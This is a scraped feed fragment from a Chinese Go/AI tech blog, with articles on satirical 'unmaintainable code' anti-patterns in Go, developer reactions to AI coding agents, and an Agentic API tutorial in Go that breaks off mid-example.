Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/07/garbage-collectors-deep-dive/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/garbage-collectors-deep-dive-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/07/garbage-collectors-deep-dive\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/07/garbage-collectors-deep-dive\"\u003ehttps://tonybai.com/2026/04/07/garbage-collectors-deep-dive\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e为什么 Java 的 G1GC 需要设置停顿目标？Go 的混合写屏障是如何消除栈重扫的？Python 又是如何解决引用计数无法处理的循环引用？\u003c/p\u003e","title":"从 1960 到 2026：一文看透 Java、Go、Python 垃圾回收器的原理与演进"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/06/how-to-write-unmaintainable-code\n大家好，我是Tony Bai。\n在这个由 Claude、GPT、Gemini等大模型定义的 2026 年，我们似乎已经习惯了 AI 那种近乎“洁癖”的编码风格：优雅的接口设计、滴水不漏的错误处理、以及永远对齐的工整格式。\nAI 正在用它那冰冷的、毫无感情的逻辑，将软件工程推向一个前所未有的标准化时代。\n但就在前几天，我在一个尘封的互联网角落里，挖出了一本写于 1999 年的上古奇文——《How To Write Unmaintainable Code》（如何编写不可维护的代码）。\n这篇文章的作者 Roedy Green，怀着一种极其黑色幽默的极客精神，手把手教导当年的 Java 程序员们，如何写出能让“接盘侠”当场崩溃、从而保证自己“终身就业”的屎山代码。\n当我用 AI 时代的眼光，去重新审视这本 27 年前的“反向圣经”时，我感到既荒谬又亲切。它就像一面镜子，照出了在没有 gofmt、没有 AI、没有 Claude Code 的“古法编程”时代，我们曾如何野蛮生长，以及 Go 语言在设计之初，就已经用多么前瞻性的眼光，封印了那些曾经肆虐一时的“魔鬼”。\n今天，就让我们开启一场技术考古之旅，用现代 Go 语言，来“复刻”一下这些差点失传的“防御性”编程之术。\n底层哲学：把你的同事想象成一个“管中窥豹”的傻子 Roedy Green 在开篇就点明了核心：维护者看代码，就像通过一个卫生纸筒的中心在看世界，视野极其狭窄。\n你的任务，就是让他永远无法拼凑出完整的画面。\n古法复刻：让同事“提刀来见”的 骚操作 命名之罪 用 l 冒充 1，用 O 冒充 0：利用字体的模糊性，制造视觉混乱。 go // 古法复刻 var l int64 = 11 // 这是 11 还是 1l？ var speed int = O1 // 这是 O1 还是 01？ 创造极其相似的变量名：仅通过大小写或一个不显眼的字母进行区分。 go // 古法复刻 var swimmer, swimner string // 99% 的 Code Review 都会看走眼 var hashTable, HashTable *map[string]int 滥用缩写，且不保持一致：在不同的地方使用同一个单词的不同缩写，让全局搜索彻底失效。 go // 古法复刻 func GetUserAuth(...) {} func GetUsrAuthorization(...) {} var athnClient *Client 使用与业务逻辑无关的变量名：比如，在屏幕上显示“Postal Code”(邮政编码)，但在代码里把它命名为 zip。 在函数名中使用极其抽象的词汇：比如 HandleIt, ProcessData, DoStuff。让调用者永远猜不透这个函数到底干了什么。 注释之罪 在注释里撒谎：最简单的一招，改了代码，但不更新注释。 写废话注释：为每一行显而易见的代码配上同样显而易见的注释，用大量的噪音淹没真正有价值的信息。 go // 古法复刻 i++ // i plus 1 永远不要注释一个变量：它的单位、取值范围、边界条件，全让维护者自己去猜。 结构之罪 极限压行：在一行里塞进尽可能多的逻辑，挑战显示器的宽度极限。 深度嵌套：以能嵌套 10 层以上的 if-else 为荣，坚决不使用 early return或happy path。 滥用全局变量：永远不要使用局部变量，把一切都提升为包级变量，让并发的 Goroutine 们去为了争夺它而自相残杀。 // 古法复刻 var tempResult string // 提升为包级变量 func HandleRequestA() { tempResult = \u0026#34;result_from_A\u0026#34; // ... } func HandleRequestB() { tempResult = \u0026#34;result_from_B\u0026#34; // ... } // 当这两个函数并发执行时，一场血案即将发生。 复制-粘贴-修改：当有相似功能时，坚决不抽象，直接复制粘贴。在一个代码库里埋下 5 份只有细微差别的一模一样的代码，等待日后引爆。 一个函数只做一件事？不，一个函数必须干三件事！ 让一个名为 IsValid() 的函数，在校验的同时，偷偷地把数据写入数据库。 Go 语言的反击 当然原文中，Roedy Green的“骚操作”不止这些。\n但其中的一些“防御”手段对今天的Go语言来说，并不生效。\n你会发现 Go 语言在设计之初，就已经对这些“手段”进行了“免疫”，比如：\n关于缩进与格式：Roedy Green 痛斥当年程序员通过“故意错位”的缩进来制造 if-else 匹配的视觉陷阱。\nGo 的反击：对不起，我们有 gofmt。在 Go 的世界里，关于代码格式的“圣战”在第一天就结束了。无论你的代码写得多乱，Ctrl+S 的瞬间，一切都会变得整齐划一。 关于花括号：原文建议省略非必须的 {}。\nGo 的反击：Go 语言强制要求 if, for 后面必须跟 {}，从语法层面彻底消灭了这种的“防御”写法。 现代化的“魔鬼”：用 Go 复刻那些更高级的骚操作 当然，Go 也不是万能的。很多源自 Java/C++ 时代的“高级骚操作”，在 Go 里依然可以“继续存在”。\n伪装成构造函数： go // 古法复刻：这个函数名和类型名完全一样，但它不是构造函数！ type User struct{ name string } func User(name string) { /* ... do something evil */ } 滥用 interface{}：把所有的函数参数都定义成 interface{}，然后在函数内部进行大量的类型断言（Type Assertion）。这能完美地把编译时错误，转化为运行时 panic。 颠倒参数顺序：定义一个 DrawRectangle(height, width int) 函数。在几个版本之后，神不知鬼不觉地把它改成 DrawRectangle(width, height int)，但函数名保持不变。 魔数（Magic Numbers）：在代码里硬编码大量的数字 100，但就是不定义一个常量。更高级的玩法是，偶尔用 99 代替 100-1，用 50*2 代替 100。 go // 古法复刻 if len(users) \u0026gt; 99 { // 这里是 \u0026gt; 99 // ... } for i := 0; i \u0026lt; 100; i++ { // 这里是 \u0026lt; 100 // ... } 迷惑性的函数重载（Go 版本）：Go 没有函数重载，但我们可以用“接口”来模拟。 go // 古法复刻 func Process(input interface{}) { switch v := input.(type) { case string: // 处理字符串 case int: // 处理整数，但逻辑和 string 完全不同 // ... } } 当你的同事传入一个他以为是数字的字符串 “123″ 时，他将收获一个意想不到的结果。\n小结：在 AI 时代，我们为什么要回顾“屎山”？ 重温这本 27 年前的“反向圣经”，在今天这个 AI 编程时代，显得格外有意义。\nAI 的出现，正在把“编写可维护代码”的门槛，拉到前所未有的低点。一个初级程序员，在 AI 的辅助下，也能写出格式工整、变量命名规范的代码。\n但这是否意味着“屎山”将成为历史？\n恰恰相反。AI 在解放我们生产力的同时，也正在**“批量化”和“隐蔽化”**地制造着“新时代的屎山”。AI 可能会生成一段逻辑上看似完美，但在高并发下会引发严重数据竞争的代码；它也可能会为了实现一个简单功能，引入一个庞大且带有安全漏洞的第三方库。\n这本古老的指南提醒我们：技术的进步可以消灭“语法层面”的丑陋，但永远无法替代人类工程师在“架构层面”的审美与抉择。\n在 AI 时代，我们不再需要像 Roedy Green 那样，靠着“加密代码”来保住饭碗。但我们比以往任何时候，都更需要理解那些“不可维护代码”背后的设计缺陷，从而在 Code Review 中，扮演好 AI 的“最终质检员”角色。\n代码的整洁与混乱，终究是一场关于“责任心”的博弈。无论时代如何变迁，这，或许是软件工程永恒的真理。\n当然，如果你真的想了解古法编程时代的更多“骚操作”，可以看看Roedy Green的原文：https://www.doc.ic.ac.uk/%7Esusan/475/unmain.html\n今日互动探讨：\n在你见过的 Go 项目中，遇到过哪些让你拍案叫绝、或者让你想“提刀来见”的“屎山代码”骚操作？\n欢迎在评论区分享你的“开眼”经历！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/06/how-to-write-unmaintainable-code/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/how-to-write-unmaintainable-code-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/06/how-to-write-unmaintainable-code\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/06/how-to-write-unmaintainable-code\"\u003ehttps://tonybai.com/2026/04/06/how-to-write-unmaintainable-code\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在这个由 Claude、GPT、Gemini等大模型定义的 2026 年，我们似乎已经习惯了 AI 那种近乎“洁癖”的编码风格：优雅的接口设计、滴水不漏的错误处理、以及永远对齐的工整格式。\u003c/p\u003e","title":"AI 编程时代，我挖出了一本 1999 年的“删库跑路”指南"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/04/the-death-of-coding-joy-in-the-age-of-ai-agents\n大家好，我是Tony Bai。\n过去的两年，我们见证了 AI 编程工具从“玩具”到“神器”的进化。从 Copilot 的代码补全，到 Claude Code 的“一句话建站”，再到各种Coding Agent 的“自主开发”，我们写代码的效率被史无前例地拉满了。\n但在这场效率的狂欢之下，一股难以言喻的“失落感”和“空虚感”，正在资深程序员群体中悄然蔓延。\n就在几天前，Reddit 的 r/webdev 社区（一个拥有 66 万开发者的顶级论坛）上，一位拥有 20 年经验的资深后端工程师发了一篇帖子，标题极其刺眼：《AI has sucked all the fun out of programming》（AI 榨干了编程所有的乐趣）。\n他写道：\n“我曾对自己解决难题、深挖源码的能力无比自豪。但自从 Claude Code 变得越来越强，我感觉自己不再是一个程序员，更像是一个项目经理，每天管理着一个叫 Claude Code 的中高级外包。我交付功能的速度比以往任何时候都快，但内心却无比空虚。这些没有灵魂的特性，我无法再把它们看作是我的创造。”\n“AI 让我变得极度懒惰，它彻底摧毁了我作为一个优秀工程师、甚至一个人类的价值。我希望它从未被发明过。”\n这篇充满“怨气”的帖子，像一块巨石砸入了平静的湖面，瞬间引爆了整个社区。短短一天，帖子收获了 1500+ 的高赞和近 400 条评论。无数开发者涌入评论区，分享着自己在 AI 时代相似的困惑、挣扎与幻灭。\n今天，我们就来扒开这场顶级社区的“赛博哀悼会”，看看当 AI 剥夺了编程最后的“手艺活”时，我们这些“数字工匠”，到底失去了什么？\n身份的剥夺：从“创造者”到“代码审查员” 在评论区，点赞最高的一条回复，只用了一句话，就说出了所有人的心声：\n“是的，是的，是的。而且，审查那些由 AI 生成的、过度工程化的垃圾 PR，简直让人精疲力竭。”\n这精准地概括了资深程序员们失落感的第一个根源：身份的降维。\n在没有 AI 的时代，我们是“创造者”。我们享受的是从零开始，将复杂的业务逻辑，通过一行行精巧的代码，构建成一个优雅系统的过程。那种“庖丁解牛”般的掌控感和心流体验，是支撑我们熬过无数个加班夜的精神支柱。\n而现在呢？\nAI 成了那个大刀阔斧的“创造者”，它可以在几分钟内生成 10 个文件、成千上万行代码。而我们，这些曾经的“建筑师”，被迫降级成了一个卑微的“代码审查员（Code Reviewer）”。\n我们的日常工作，不再是“如何巧妙地设计一个接口”，而是“如何在这堆由 AI 生成的、看似完美却隐藏着无数暗雷的代码里，找出那个该死的 Bug”。\n一位开发者形容这种感觉就像“吃屎”：\n“重构一小段代码，就像在菜里加点盐，很有趣。但如果让你 9 点到 5 点都在重构 AI 生成的屎山，那就完全是另一回事了。”\n学习的终结：当“挣扎”的权利被剥夺 除了身份的降维，更让开发者们感到恐惧的，是**“学习感的丧失”**。\n一位只有 2 年经验的前端开发者的评论获得了 123 个高赞：\n“AI 确实让我变快了。但有时我感觉，我跳过了那些本该挣扎和学习的部分。而正是那些挣扎，才让知识真正刻进我的脑子里。”\n这说出了一个残酷的真相：人类的学习，本质上是一个伴随着痛苦和摩擦的过程。\n当你为了一个 Bug 熬了三个小时，翻遍了 Stack Overflow，最后在某个不起眼的角落找到解决方案时，你对这个 Bug 的理解是刻骨铭心的。\n但现在，你只需要把报错信息扔给 Claude Code，它会在 3 秒钟内给你正确答案。\n效率是提升了，但你的大脑也失去了构建深度知识模型（Mental Models）的机会。你成了知识的“搬运工”，而不是“内化者”。\n更可怕的是，这种趋势正在从个人蔓延到团队，甚至威胁到新人的成长路径。\n评论区的一位开发者也分享了他的遭遇：\n“我们是做嵌入式开发的，AI 很多时候根本不懂底层。但我们的经理对 AI 产生了宗教般的狂热，他强迫我们必须用 AI。如果我们不用，他就会 visibly upset（肉眼可见地不爽）；如果我们用了，然后报告 AI 出了问题，他会立刻假定是我们用错了，而不是 AI 的问题。”\n这种来自管理层的“AI 迷信”，正在让那些真正懂技术的专家感到心寒。当你的老板拿着 ChatGPT 的一段胡言乱语来质疑你的专业判断时，技术尊严的丧失，远比失去乐趣更令人痛苦。\n正在分裂的社区：效率派 vs 手艺派 当然，也并非所有人都对 AI 感到悲观。评论区同样出现了鲜明的“效率派”阵营。\n一位拥有 27 年经验的资深开发者表达了截然不同的看法：\n“我反而觉得 AI 增强了我的能力。我依然负责掌控项目的整体架构，AI 只是帮我处理那些烦人的、重复的体力活。这就像我有了一个能完美听懂我话的初级开发人员，而且他永远不会抱怨。”\n另一位开发者则将这种转变描述为角色的升维：\n“乐趣转移了，但没有消失。我们团队的人类现在负责所有的架构决策，AI 负责具体的实现。创造性的工作依然存在——它从‘如何写好这个函数’，变成了‘如何设计好这个系统’。我们从‘砖瓦工’，变成了‘建筑师’。”\n这两种截然不同的声音，揭示了 AI 时代开发者社区正在经历的一场剧烈的身份分化：\n手艺派：他们热爱编码本身，享受那种与代码“人剑合一”的创造快感。对他们而言，AI 剥夺了这个过程。 效率派（或架构派）：他们更享受从宏观层面掌控系统的乐趣，将编码视为一种实现目标的手段，而非目的。对他们而言，AI 是解放他们生产力的“外骨骼”。 这两种观点没有对错，它仅仅反映了不同性格的开发者，在面对一场史无前例的生产关系变革时，所产生的自然分化。\n出路何在？：夺回“原子化”的掌控力 在这场关于“乐趣与灵魂”的大讨论中，我们依然能找到一些极具建设性的生存法则。\n第一，坚决捍卫“人类最终解释权”。\nAI 可以生成，但你必须成为那个拥有“一票否决权”的最终审计者。正如一位开发者所言：\n“我正在无视所有关于‘再不拥抱 AI 就会被淘汰’的末日预言。我只把它当成一个强化版的搜索引擎。如果未来真的只需要一批不懂底层原理的‘提示词操作员’，那我的工作反正也变得毫无意义了。但如果未来依然需要懂底层的人，那我的处境绝对比那些‘氛围编码’了好几年的人强得多。”\n第二，主动创造“无 AI 日（Zero AI Day）”。\n另外一位开发者的建议获得了很多人的认同：\n“为了对抗这种侵蚀，我每周会选定一天作为我的‘无 AI 日’。在那一天，我禁止自己使用任何 AI 工具。这种感觉非常自由。”\n这就像健身中的“欺骗餐”，它能让你重新找回对代码最原始的“手感”。\n第三，把 AI 当作“副驾驶”，而不是“自动驾驶”。\n真正的老司机，绝不会在高速上双手离开方向盘。他们会利用 AI 去处理那些最耗时、最没有创造性的部分：写单元测试、生成 OpenAPI 文档、转换数据格式。\n而在核心的业务逻辑和架构设计上，亲手去写，去感受系统的“摩擦力（Friction）”，去构建你脑海中那张独一无二的架构蓝图。\n小结：从“多巴胺”到“内啡肽” AI 的出现，极大地满足了我们对“即时反馈”的多巴胺式快感：敲一句话，代码就出来了。\n但真正的编程乐趣，那种来自于深度思考、解决难题后获得的、持久而宁静的成就感，属于“内啡肽”。\nAI 正在用廉价的多巴胺，稀释我们获取内啡肽的能力。\n我们不必为此感到绝望。正如工业革命没有消灭所有手工艺人，反而催生了更昂贵的“高级定制”一样。\n当 AI 能够批量生产千篇一律的“预制菜”代码时，那些依然能够亲手雕琢出艺术品级架构的“米其林大厨”，其价值将不降反升。\n问题的关键在于，在这场大浪淘沙中，你，是选择成为流水线上一颗随时可被替换的螺丝钉，还是那个手握最终菜谱的顶级大厨？\n今日互动探讨：\n在使用 AI 编程后，你的“编程乐趣”是增加了还是减少了？你觉得 AI 帮你完成的最有价值和最没有价值的工作分别是什么？\n欢迎在评论区分享你的真实感受！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/04/the-death-of-coding-joy-in-the-age-of-ai-agents/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/the-death-of-coding-joy-in-the-age-of-ai-agents-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/04/the-death-of-coding-joy-in-the-age-of-ai-agents\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/04/the-death-of-coding-joy-in-the-age-of-ai-agents\"\u003ehttps://tonybai.com/2026/04/04/the-death-of-coding-joy-in-the-age-of-ai-agents\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e过去的两年，我们见证了 AI 编程工具从“玩具”到“神器”的进化。从 Copilot 的代码补全，到 \u003ca href=\"https://mp.weixin.qq.com/s/NWYyq6LV3WV08lJloK0OZg\"\u003eClaude Code\u003c/a\u003e 的“一句话建站”，再到各种Coding Agent 的“自主开发”，我们写代码的效率被史无前例地拉满了。\u003c/p\u003e","title":"当AI 榨干了编程所有的乐趣：我不再是程序员，而是“Claude Code”的项目经理"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/03/agentic-api-in-action\n大家好，我是Tony Bai。\n在过去的十几年里，如果你问任何一位后端工程师：“我们应该如何设计 API？”得到的答案几乎是统一的：RESTful。\n我们将世界抽象为一个个“资源（Resources）”，用名词来命名 URI（比如 /users, /orders），用 HTTP 动词（GET, POST, PUT, DELETE）来表达对这些资源的操作。这套基于 CRUD（创建、读取、更新、删除）的法则，优雅地统治了移动互联网和微服务时代。\n然而，时代变了。\n当我们步入 AI 时代，尤其是当各种大语言模型（LLM）驱动的**智能体（AI Agent）**开始接管我们的软件系统时，一个尖锐的矛盾浮出水面：这群“硅基同事”在面对我们精心设计的 REST API 时，表现得像个无所适从的笨蛋。\n今天，作为本专栏的开篇，我想和你探讨一个极其现实的工程问题：为什么在 AI 时代，统治后端十年的 REST 架构正在失效？我们又该如何为 AI 智能体设计下一代接口——Agentic API？\nAI 智能体的“认知障碍”：REST API 的三大罪状 为了理解 REST 的局限性，我们不妨先来做个角色互换。\n假设你现在不是一个人类工程师，而是一个被赋予了任务的 AI Agent。你的主人对你说：“帮我把昨天那个发错的订单取消掉，并给客户退款。”\n作为 Agent，你拥有一个极其强大的大脑（比如 GPT-5.x 或 DeepSeek-V3.x），并且你被授权访问公司内部的订单系统 API。你兴冲冲地查看了该系统的 Swagger 文档，看到了以下几个端点：\nGET /orders/{id} (获取订单) PUT /orders/{id} (更新订单) DELETE /orders/{id} (删除订单) POST /refunds (创建退款) 这时候，你的“认知障碍”出现了。\n罪状一：意图的丢失 你要“取消订单”，但在 REST 的世界里，并没有一个叫“取消”的操作。\n你应该调用 DELETE /orders/{id} 吗？如果你真的这么做了，你可能就把这条订单的物理记录从数据库里抹掉了，这在真实的电商系统中是灾难性的（通常我们需要软删除或者状态流转）。\n还是说，你应该调用 PUT /orders/{id}，并在 JSON Payload 里传一个 {“status”: “CANCELLED”}？这听起来合理一些，但如果你传的是 {“status”: “DELETED”} 呢？API 会报错吗？\nREST API 强迫调用者去猜测后端的业务逻辑映射。 对于人类开发者，我们可以通过阅读厚厚的 API 接入文档，或者直接去问写这个接口的同事来澄清。但对于 AI Agent，它只能基于常识去“猜”。当 AI 开始猜你的系统设计时，就是灾难的开始。\n罪状二：原子性与编排的噩梦 更糟糕的是，主人的任务是“取消订单并退款”。\n在 REST 架构下，订单资源（/orders）和退款资源（/refunds）通常是分离的。AI Agent 必须自己完成以下编排：\n调用 PUT /orders/{id} 将状态改为 CANCELLED。 解析步骤 1 的响应，确认成功。 调用 POST /refunds，并小心翼翼地把订单的金额、支付流水号等信息拼装到 Payload 中。 如果步骤 1 成功了，但步骤 2 因为网络超时失败了怎么办？AI Agent 需要具备复杂的错误恢复机制和分布式事务处理能力（比如发起撤销操作）。我们把极其复杂的系统状态一致性问题，推给了客户端（AI）。\n罪状三：权限的过度宽泛 为了让 AI 能够完成上述操作，你需要给它分配什么样的权限？\n在传统的 OAuth 2.0 体系中，你可能不得不给它 order:write 和 refund:write 权限。这意味着，这个 AI Agent 不仅能取消订单，它还能修改订单金额，甚至能随意发起退款！\nREST API 以“资源”为粒度划分权限，这对于非确定性的 AI 来说，权限敞口太大了。 我们真正想给 AI 的权限是“仅限取消特定状态的订单”，但这在传统的 REST 模型中极难优雅地表达。\n破局之道：从“面向资源”到“面向任务” 面对上述痛点，业界最近非常流行一种解决方案：让 AI 使用工具（Tool Calling / Function Calling）。\n比如 Anthropic 推出的 MCP（Model Context Protocol）协议，它的核心思想是：在 AI 和系统之间架设一个中间件（MCP Server），将系统的能力包装成一个个具体的 Tool（工具）暴露给 AI。\n这确实缓解了部分问题，AI 可以直接调用名为 cancel_order_and_refund 的工具了。但请注意，这治标不治本。\n这相当于我们在后端依然写着糟糕的、极难编排的 REST API，然后派人写了一堆中间层胶水代码（Glue Code）来适配 AI。随着系统变得复杂，维护这些“胶水工具”的成本将呈指数级上升，状态同步和权限控制的难题依然存在。\n我们真正需要的，是一场后端架构范式的革命：从源头上设计对 AI 友好的 API。\n这就是本微专栏要向你隆重介绍的 Agentic API 理念。\nAgentic API 的核心思想是：放弃将世界强行扭曲为“资源（名词）”，回归人类和 AI 最自然的交流方式——“任务与意图（动词）”。\n我们来看一个对比。\n传统 REST API 的思维模式：\n“这里有一个 Order 资源。你可以对它执行 POST, GET, PUT, DELETE。”\nAgentic API 的思维模式：\n“这里有一个业务系统。你可以执行 CANCEL（取消订单）, REFUND（发起退款）, NOTIFY（发送通知）等明确的任务。”\n我们用一张简单的时序图来对比一下这两种模式下，AI Agent 完成“取消并退款”任务的复杂度差异：\n在 Agentic API 模式下：\n意图极其明确：API 端点本身就是一个清晰的动词（或动词组合），AI 不需要猜测 PUT 到底意味着什么。 后端掌控状态：复杂的编排逻辑（改状态、调退款接口、处理分布式事务）被收敛到了后端。后端永远是状态的最终防线。 权限精准控制：我们可以给 AI 颁发一个名为 action:cancel_and_refund 的细粒度 Token，即使 AI 产生幻觉想去改订单金额，也会被 API 网关直接拦截。 实战演练：用 Go 构建你的第一个 Agentic API 光说不练假把式。接下来，我们将用 Go 语言，从零开始将一个传统的 REST 接口改造为 Agentic API。\n假设我们正在开发一个博客系统，我们需要一个接口让 AI 帮我们**“总结一篇文章的核心观点”**。\n项目目录准备 请确保你已安装 Go 1.21 或以上版本。我们将使用标准库 net/http 来保持代码最简。\n创建一个新目录并初始化模块：\nmkdir agentic-api-demo cd agentic-api-demo go mod init agentic-demo touch main.go 传统的 RESTful 实现 (反模式) 在传统的 CRUD 思维下，很多开发者可能会这么设计：\n让客户端发送一个 POST /documents/{id}/summary 请求，或者使用一个万能的 PATCH /documents/{id}，带上一个 action=summarize 的字段。\n这虽然能工作，但语义不够清晰，扩展性极差（如果明天需要翻译、提取关键字呢？）。\nAgentic API 的实现思路 在 Agentic API 的设计中，我们提倡使用明确的动词驱动路由。针对这种数据处理类的任务，我们可以定义一个 COMPUTE 或 ANALYZE 大类。\n让我们在 main.go 中写下这段优雅的代码：\n// ch01/agentic-api-demo/main.go package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;strings\u0026#34; ) // AgenticRequest 代表了 AI 智能体发来的标准任务请求 type AgenticRequest struct { // 明确的意图动作 Action string json:\u0026#34;action\u0026#34; // 动作的目标上下文 (例如文档ID) ContextID string json:\u0026#34;context_id\u0026#34; // 动作需要的特定参数 Parameters map[string]interface{} json:\u0026#34;parameters,omitempty\u0026#34; } // AgenticResponse 代表了返回给 AI 的标准结构化响应 type AgenticResponse struct { Status string json:\u0026#34;status\u0026#34; // SUCCESS, FAILED, REQUIRE_CONFIRM Result interface{} json:\u0026#34;result,omitempty\u0026#34; Message string json:\u0026#34;message,omitempty\u0026#34; } func main() { // 定义一个面向动作的路由前缀 http.HandleFunc(\u0026#34;/api/v1/actions\u0026#34;, actionHandler) fmt.Println(\u0026#34;Agentic API Server started on :8080\u0026#34;) log.Fatal(http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil)) } // actionHandler 充当了“任务调度中心” func actionHandler(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { http.Error(w, \u0026#34;Only POST is allowed for actions\u0026#34;, http.StatusMethodNotAllowed) return } var req AgenticRequest if err := json.NewDecoder(r.Body).Decode(\u0026amp;req); err != nil { sendResponse(w, http.StatusBadRequest, \u0026#34;FAILED\u0026#34;, nil, \u0026#34;Invalid JSON payload\u0026#34;) return } // 核心：基于 Action (动词) 进行路由分发，而不是基于资源名词 switch strings.ToUpper(req.Action) { case \u0026#34;SUMMARIZE\u0026#34;: handleSummarize(w, req) case \u0026#34;TRANSLATE\u0026#34;: // handleTranslate(w, req) sendResponse(w, http.StatusNotImplemented, \u0026#34;FAILED\u0026#34;, nil, \u0026#34;Action TRANSLATE not implemented yet\u0026#34;) default: sendResponse(w, http.StatusBadRequest, \u0026#34;FAILED\u0026#34;, nil, fmt.Sprintf(\u0026#34;Unknown action: %s\u0026#34;, req.Action)) } } // handleSummarize 处理具体的总结任务 func handleSummarize(w http.ResponseWriter, req AgenticRequest) { docID := req.ContextID if docID == \u0026#34;\u0026#34; { sendResponse(w, http.StatusBadRequest, \u0026#34;FAILED\u0026#34;, nil, \u0026#34;context_id (Document ID) is required\u0026#34;) return } // 解析可选参数 (Agentic API 应该允许 AI 传入控制参数) maxLength := 100 // 默认值 if ml, ok := req.Parameters[\u0026#34;max_length\u0026#34;].(float64); ok { maxLength = int(ml) } // 模拟从数据库获取文档并进行总结的复杂逻辑 log.Printf(\u0026#34;Executing SUMMARIZE for doc: %s, max length: %d\\n\u0026#34;, docID, maxLength) // 模拟生成的摘要 mockSummary := fmt.Sprintf(\u0026#34;这是关于文档 %s 的核心总结，长度被限制在 %d 字以内：Agentic API 是未来的趋势。\u0026#34;, docID, maxLength) // 返回标准化响应 sendResponse(w, http.StatusOK, \u0026#34;SUCCESS\u0026#34;, mockSummary, \u0026#34;Document summarized successfully\u0026#34;) } // 统一的响应封装助手 func sendResponse(w http.ResponseWriter, statusCode int, status string, result interface{}, message string) { w.Header().Set(\u0026#34;Content-Type\u0026#34;, \u0026#34;application/json\u0026#34;) w.WriteHeader(statusCode) resp := AgenticResponse{ Status: status, Result: result, Message: message, } json.NewEncoder(w).Encode(resp) } 运行与验证 在终端运行该代码：\ngo run main.go 现在，假设你是一个 AI Agent，你决定执行“总结文章”的任务，你可以构造如下清晰的 Payload 发送给后端：\ncurl -X POST http://localhost:8080/api/v1/actions \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ 